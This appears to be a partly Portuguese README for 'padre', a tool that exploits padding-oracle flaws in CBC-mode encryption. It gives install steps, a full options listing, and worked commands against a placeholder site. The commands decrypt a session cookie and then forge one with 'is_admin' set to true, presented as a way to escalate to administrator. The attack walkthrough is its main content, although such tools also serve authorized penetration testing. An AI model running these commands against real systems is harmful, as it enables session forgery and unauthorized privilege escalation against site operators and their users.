
Exploit de Padding Oracle avançado e extremamente rápido.
padre é um explorador avançado para ataques de Padding Oracle contra criptografia no modo CBC
Recursos:

A maneira mais rápida é baixar o binário pré-compilado para seu SO a partir do Último lançamento
Alternativamente, se você tiver Go instalado, compile a partir do código fonte:
go install github.com/glebarez/padre@latest
Se você encontrar um possível padding oracle, onde os dados criptografados estão armazenados em um cookie chamado SESS, você pode usar o seguinte:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
padre fará automaticamente a impressão digital das respostas HTTP para determinar se o padding oracle pode ser confirmado. Se o servidor estiver de fato vulnerável, o token fornecido será descriptografado em algo como:
{"user_id": 456, "is_admin": false}
Parece que você poderia elevar seus privilégios aqui!
Você pode tentar fazer isso gerando primeiro seus próprios dados criptografados que o oracle descriptografará de volta para algum texto simples sorrateiro:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
Isso gerará outro conjunto codificado de dados criptografados, talvez algo como abaixo (se usado base64):
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Agora você pode abrir seu navegador e definir o valor do cookie SESS para o valor acima. Ao carregar a página original do oracle, você agora deve ver que foi elevado ao nível de administrador.
Usage: padre [OPTIONS] [INPUT]
INPUT:
In decrypt mode: encrypted data
In encrypt mode: the plaintext to be encrypted
If not passed, will read from STDIN
NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)
OPTIONS:
-u *required*
target URL, use $ character to define token placeholder (if present in URL)
-enc
Encrypt mode
-err
Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting
-e
Encoding to apply to binary data. Supported values:
b64 (standard base64) *default*
lhex (lowercase hex)
-r
Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
Example:
If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"
-cookie
Cookie value to be set in HTTP requests. Use $ character to mark token placeholder.
-post
String data to perform POST requests. Use $ character to mark token placeholder.
-ct
Content-Type for POST requests. If not specified, Content-Type will be determined automatically.
-b
Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
8
16 *default*
32
-p
Number of parallel HTTP connections established to target server [1-256]
30 *default*
-proxy
HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP